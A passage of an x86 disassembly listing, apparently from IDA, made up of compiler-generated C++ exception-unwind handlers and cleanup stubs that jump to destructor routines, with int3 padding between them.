; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40C360 proc near ; DATA XREF: sub_40C360+2o
mov eax, offset dword_43F3B0
jmp sub_4367C8
SEH_40C360 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-0A78h]
jmp loc_401AFF
; ---------------------------------------------------------------------------
loc_438C7B: ; DATA XREF: ___:0043F40Co
lea ecx, [ebp-0A3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438C86: ; DATA XREF: ___:0043F414o
lea ecx, [ebp-0A54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0A3Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40C400 proc near ; DATA XREF: sub_40C400+8o
mov eax, offset dword_43F3E0
jmp sub_4367C8
SEH_40C400 endp
; ---------------------------------------------------------------------------
db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40CB10 proc near ; DATA XREF: sub_40CB10+2o
mov eax, offset dword_43F428
jmp sub_4367C8
SEH_40CB10 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-260h]
jmp loc_40226B
; ---------------------------------------------------------------------------
loc_438CEB: ; DATA XREF: ___:0043F484o
lea ecx, [ebp-278h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438CF6: ; DATA XREF: ___:0043F48Co
lea ecx, [ebp-278h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438D01: ; DATA XREF: ___:0043F494o
lea ecx, [ebp-278h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438D0C: ; DATA XREF: ___:0043F49Co
lea ecx, [ebp-278h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40CBB0 proc near ; DATA XREF: sub_40CBB0+8o
mov eax, offset dword_43F458
jmp sub_4367C8
SEH_40CBB0 endp
; ---------------------------------------------------------------------------
db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438D4B: ; DATA XREF: ___:0043F4D4o
mov ecx, [ebp-10h]
add ecx, 19h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40CE60 proc near ; DATA XREF: sub_40CE60+2o
mov eax, offset dword_43F4A8
jmp sub_4367C8
SEH_40CE60 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438D7B: ; DATA XREF: ___:0043F50Co
mov ecx, [ebp-10h]
add ecx, 19h
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438D86: ; DATA XREF: ___:0040CEE2o
mov eax, offset dword_43F4E0
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40D130 proc near ; DATA XREF: sub_40D130+2o
mov eax, offset dword_43F518
jmp sub_4367C8
SEH_40D130 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-16Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438DEB: ; DATA XREF: ___:0043F58Co
lea ecx, [ebp-184h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40D580 proc near ; DATA XREF: sub_40D580+2o
mov eax, offset dword_43F560
jmp sub_4367C8
SEH_40D580 endp
; ---------------------------------------------------------------------------
db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-5ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-604h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-634h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-664h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-67Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-61Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-58Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-694h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-64Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40DB40 proc near ; DATA XREF: sub_40DB40+2o
mov eax, offset dword_43F5D0
jmp sub_4367C8
SEH_40DB40 endp
; ---------------------------------------------------------------------------
db 27h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438F28: ; DATA XREF: ___:0043F694o
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40E220 proc near ; DATA XREF: sub_40E220+2o
mov eax, offset dword_43F668
jmp sub_4367C8
SEH_40E220 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438F78: ; DATA XREF: ___:0043F6ECo
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40E7A0 proc near ; DATA XREF: sub_40E7A0+2o
mov eax, offset dword_43F6C0
jmp sub_4367C8
SEH_40E7A0 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438FC8: ; DATA XREF: ___:0043F744o
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40EC30 proc near ; DATA XREF: sub_40EC30+2o
mov eax, offset dword_43F718
jmp sub_4367C8
SEH_40EC30 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40ED70 proc near ; DATA XREF: sub_40ED70+2o
mov eax, offset dword_43F758
jmp sub_4367C8
SEH_40ED70 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439018: ; DATA XREF: ___:0043F7B4o
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439048: ; DATA XREF: ___:0040F148o
mov eax, offset dword_43F788
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_439078: ; DATA XREF: ___:0043F814o
mov ecx, [ebp-28h]
add ecx, 28h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 3Dh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 56h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 84h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 0B2h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 0E0h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 10Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 13Ch
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 16Ah
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 198h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 1C6h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 1F4h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 222h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 250h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 27Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 2ACh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 2DAh
jmp sub_401B54
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40F600 proc near ; DATA XREF: sub_40F600+2o
mov eax, offset dword_43F7E8
jmp sub_4367C8
SEH_40F600 endp
; ---------------------------------------------------------------------------
db 69h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_439268: ; DATA XREF: ___:0043F974o
mov ecx, [ebp-10h]
add ecx, 28h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Dh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 56h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 84h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B2h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E0h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 10Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 13Ch
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Ah
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 198h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1C6h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1F4h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 222h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 250h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 27Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2ACh
jmp sub_401023
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40FDA0 proc near ; DATA XREF: sub_40FDA0+2o
mov eax, offset dword_43F948
jmp sub_4367C8
SEH_40FDA0 endp
; ---------------------------------------------------------------------------
db 47h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-247Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43939B: ; DATA XREF: ___:0043FA2Co
lea ecx, [ebp-210Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-207Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4393B1: ; DATA XREF: ___:0043FA3Co
lea ecx, [ebp-237Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4393BC: ; DATA XREF: ___:0043FA44o
lea ecx, [ebp-21CCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4393C7: ; DATA XREF: ___:0043FA4Co
lea ecx, [ebp-234Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4393D2: ; DATA XREF: ___:0043FA54o
lea ecx, [ebp-2064h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4393DD: ; DATA XREF: ___:0043FA5Co
lea ecx, [ebp-231Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4393E8: ; DATA XREF: ___:0043FA64o
lea ecx, [ebp-219Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4393F3: ; DATA XREF: ___:0043FA6Co
lea ecx, [ebp-20DCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-22ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439409: ; DATA XREF: ___:0043FA7Co
lea ecx, [ebp-22BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439414: ; DATA XREF: ___:0043FA84o
lea ecx, [ebp-23DCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43941F: ; DATA XREF: ___:0043FA8Co
lea ecx, [ebp-216Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43942A: ; DATA XREF: ___:0043FA94o
lea ecx, [ebp-2424h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-23F4h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-228Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-23C4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-225Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439499: ; DATA XREF: ___:0043FADCo
lea ecx, [ebp-213Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4394A4: ; DATA XREF: ___:0043FAE4o
mov eax, [ebp-2480h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4394B2: ; DATA XREF: ___:0043FAECo
mov eax, [ebp-2480h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-21FCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-20ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-222Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4394E1: ; DATA XREF: ___:0043FB0Co
lea ecx, [ebp-2394h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-23ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4394F7: ; DATA XREF: ___:0043FB1Co
lea ecx, [ebp-2334h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2364h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43950D: ; DATA XREF: ___:0043FB2Co
lea ecx, [ebp-2304h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439518: ; DATA XREF: ___:0043FB34o
lea ecx, [ebp-22D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439523: ; DATA XREF: ___:0043FB3Co
mov ecx, [ebp-2480h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43952E: ; DATA XREF: ___:0043FB44o
lea ecx, [ebp-22A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439539: ; DATA XREF: ___:0043FB4Co
lea ecx, [ebp-2244h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2274h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43954F: ; DATA XREF: ___:0043FB64o
lea ecx, [ebp-2214h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43955A: ; DATA XREF: ___:0043FB74o
lea ecx, [ebp-21E4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439565: ; DATA XREF: ___:0043FB7Co
lea ecx, [ebp-2184h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-21B4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43957B: ; DATA XREF: ___:0043FB94o
lea ecx, [ebp-243Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-240Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439591: ; DATA XREF: ___:0043FBACo
lea ecx, [ebp-2124h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2154h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4395A7: ; DATA XREF: ___:0043FBBCo
lea ecx, [ebp-20F4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4395B2: ; DATA XREF: ___:0043FBC4o
lea ecx, [ebp-2094h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-2464h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-20C4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4395D3: ; DATA XREF: sub_40FF60+8o
mov eax, offset dword_43FA00
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 93h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_402031
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_411860 proc near ; DATA XREF: sub_411860+2o
mov eax, offset dword_43FC10
jmp sub_4367C8
SEH_411860 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_402031
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_411910 proc near ; DATA XREF: sub_411910+2o
mov eax, offset dword_43FC40
jmp sub_4367C8
SEH_411910 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4396B8: ; DATA XREF: ___:0043FC9Co
mov ecx, [ebp-10h]
add ecx, 15h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2Ah
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Fh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 54h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 69h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_411990 proc near ; DATA XREF: sub_411990+2o
mov eax, offset dword_43FC70
jmp sub_4367C8
SEH_411990 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439718: ; DATA XREF: ___:0043FCF4o
mov ecx, [ebp-10h]
add ecx, 15h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2Ah
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Fh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 54h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 69h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_411A50 proc near ; DATA XREF: sub_411A50+2o
mov eax, offset dword_43FCC8
jmp sub_4367C8
SEH_411A50 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_411B40 proc near ; DATA XREF: sub_411B40+8o
mov eax, offset dword_43FD20
jmp sub_4367C8
SEH_411B40 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4397E8: ; DATA XREF: ___:0043FDCCo
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_411FE0 proc near ; DATA XREF: sub_411FE0+8o
mov eax, offset dword_43FDA0
jmp sub_4367C8
SEH_411FE0 endp
; ---------------------------------------------------------------------------
db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------
loc_439890: ; DATA XREF: ___:0043FE6Co
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-48h]
and eax, 1
test eax, eax
jz locret_4398AE
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_4398AE: ; CODE XREF: ___:004398A0j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4126B0 proc near ; DATA XREF: sub_4126B0+2o
mov eax, offset dword_43FE40
jmp sub_4367C8
SEH_4126B0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4398D8: ; DATA XREF: ___:0043FEA4o
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_412970 proc near ; DATA XREF: sub_412970+8o
mov eax, offset dword_43FE78
jmp sub_4367C8
SEH_412970 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_412C10 proc near ; DATA XREF: sub_412C10+2o
mov eax, offset dword_43FEB0
jmp sub_4367C8
SEH_412C10 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439918: ; DATA XREF: ___:0043FF0Co
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-9Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43994E: ; DATA XREF: ___:00412CB8o
mov eax, offset dword_43FEE0
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_43997B: ; DATA XREF: ___:0043FF6Co
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_4011B8
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Ch
jmp sub_4014B5
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_413120 proc near ; DATA XREF: sub_413120+2o
mov eax, offset dword_43FF40
jmp sub_4367C8
SEH_413120 endp
; ---------------------------------------------------------------------------
db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_4011B8
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Ch
jmp sub_4014B5
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_413220 proc near ; DATA XREF: sub_413220+2o
mov eax, offset dword_43FF88
jmp sub_4367C8
SEH_413220 endp
; ---------------------------------------------------------------------------
db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4132E0 proc near ; DATA XREF: sub_4132E0+2o
mov eax, offset dword_43FFD0
jmp sub_4367C8
SEH_4132E0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
